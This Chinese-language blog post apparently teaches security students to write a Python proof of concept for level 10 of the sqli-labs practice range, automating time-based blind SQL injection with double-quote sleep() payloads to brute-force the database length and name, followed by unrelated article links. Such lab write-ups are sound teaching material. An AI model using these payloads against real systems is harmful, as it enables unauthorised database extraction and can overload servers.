sqli-labs靶场自动化利用工具——第10关

文章目录

概要

Sqli-Labs靶场对于网安专业的学生或正在学习网安的朋友来说并不陌生,或者说已经很熟悉。那有没有朋友想过自己开发一个测试脚本能实现自动化化测试sqli-labs呢?可能有些人会说不是有sqlmap,那我们又何须使用这个小脚本呢?这里我统一回答,sqlmap只是一个工具,工具始终是不能代替人的思考。开发这个测试的脚本他都是有针对性的,他是针对每一关的精心设计。但凡脱离实际都是在空想。我也是一直围绕这个主题,所以想到了开发能自动化测试sqli-labs靶场每一关的POC。最后这个只能用于有基础的网安人进行学习,学习网安路还是不能投机取巧的。

本章适合人群:

  1. 网安专业学生
  2. 报班学习网安内容的同学
  3. 提高写POC能力的网安从业者

整体架构流程

因为是sqli-labs的第10关,且我觉得名字很是麻烦,所以我在写脚本的时候错将sqli-labs写成了sql-libs请见谅。如果你有强迫症可以自行修改。

整体流程主要是仿爬虫的形式访问网页,之后将得到的数据记录在和py文件同一级的目录下面。

第10关使用的也是暴力破解的原理,在真实网站测试时最好不要使用,极有可能使对方服务器瘫痪。这个只是讨论学习,不要用于非法用途。

和第9关一样没有在数据库最大长度上添加安全校验,有兴趣的小伙伴可以自行添加。

且和第九关的区别主要是在单引号和双引号的区别,其他类似。

技术细节

python 复制代码
import requests
import time

# 全局变量
url = 'http://sql:8081/Less-10/'
headers = {
    'Host': 'sql:8081',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1',
    'Priority': 'u=0, i'
}


def verify_length(length):
    params = {
        'id': f'1" and if(length(database())={length}, sleep(5), 0)-- -'
    }
    for _ in range(3):  # 尝试3次
        try:
            start_time = time.time()
            response = requests.get(url, headers=headers, params=params, verify=False, timeout=10)
            response_time = time.time() - start_time

            if response_time >= 4.5:
                return True
        except requests.RequestException as e:
            print(f"请求错误: {e}")
    return False


def brute_dblength():
    try:
        max_dblength = int(input('数据库可能最大长度:').strip())
    except ValueError:
        print("请输入一个有效的数字")
        return None

    for dblength in range(1, max_dblength + 1):
        print(f"正在测试长度: {dblength}")
        if verify_length(dblength):
            print(f'{url} 存在漏洞,数据库长度为 {dblength}')
            return dblength

    print(f'数据库长度大于 {max_dblength},请尝试增加最大长度。')
    return None


def brute_dbname(dblength):
    dbname = ''
    for position in range(1, dblength + 1):
        for ascii_code in range(97, 123, 1):  # 所有可打印ASCII字符
            params = {
                'id': f'1" and if(ascii(substr(database(),{position},1))={ascii_code}, sleep(1), 0)-- -'
            }
            try:
                start_time = time.time()
                response = requests.get(url, headers=headers, params=params, verify=False, timeout=5)
                response_time = time.time() - start_time

                if response_time >= 0.9:  # 使用稍小的阈值
                    dbname += chr(ascii_code)
                    print(f'发现数据库名称的第 {position} 个字符: {chr(ascii_code)}')
                    break
            except requests.RequestException as e:
                print(f'Error scanning {url}: {e}')
                return None
        else:
            print(f'数据库名称的第 {position} 个字符未找到匹配。')
            return None

    print(f'完整的数据库名称为: {dbname}')
    return dbname


def main():
    print("开始数据库长度探测")
    dblength = brute_dblength()
    if dblength:
        print("开始数据库名称探测")
        brute_dbname(dblength)
    else:
        print("无法确定数据库长度,程序终止")


if __name__ == "__main__":
    main()

执行效果

小结

由于我的sqli-labs靶场是搭建在我的本机,所以使用代码时需要进行修改。

且想输出不一样的文件内容格式,也可以进行微调整。

最后还是那句话网安的路上不会一帆风顺,还需脚踏实地一步一个脚印的前行,仅用于POC的学习使用,其他使用与作者无关。

相关推荐
好看资源平台1 小时前
网络爬虫——综合实战项目:多平台房源信息采集与分析系统
爬虫·python
进击的六角龙1 小时前
深入浅出:使用Python调用API实现智能天气预报
开发语言·python
檀越剑指大厂1 小时前
【Python系列】浅析 Python 中的字典更新与应用场景
开发语言·python
湫ccc1 小时前
Python简介以及解释器安装(保姆级教学)
开发语言·python
孤独且没人爱的纸鹤1 小时前
【深度学习】:从人工神经网络的基础原理到循环神经网络的先进技术,跨越智能算法的关键发展阶段及其未来趋势,探索技术进步与应用挑战
人工智能·python·深度学习·机器学习·ai
羊小猪~~1 小时前
tensorflow案例7--数据增强与测试集, 训练集, 验证集的构建
人工智能·python·深度学习·机器学习·cnn·tensorflow·neo4j
lzhlizihang1 小时前
python如何使用spark操作hive
hive·python·spark
q0_0p1 小时前
牛客小白月赛105 (Python题解) A~E
python·牛客
武子康1 小时前
大数据-230 离线数仓 - ODS层的构建 Hive处理 UDF 与 SerDe 处理 与 当前总结
java·大数据·数据仓库·hive·hadoop·sql·hdfs
极客代码2 小时前
【Python TensorFlow】进阶指南(续篇三)
开发语言·人工智能·python·深度学习·tensorflow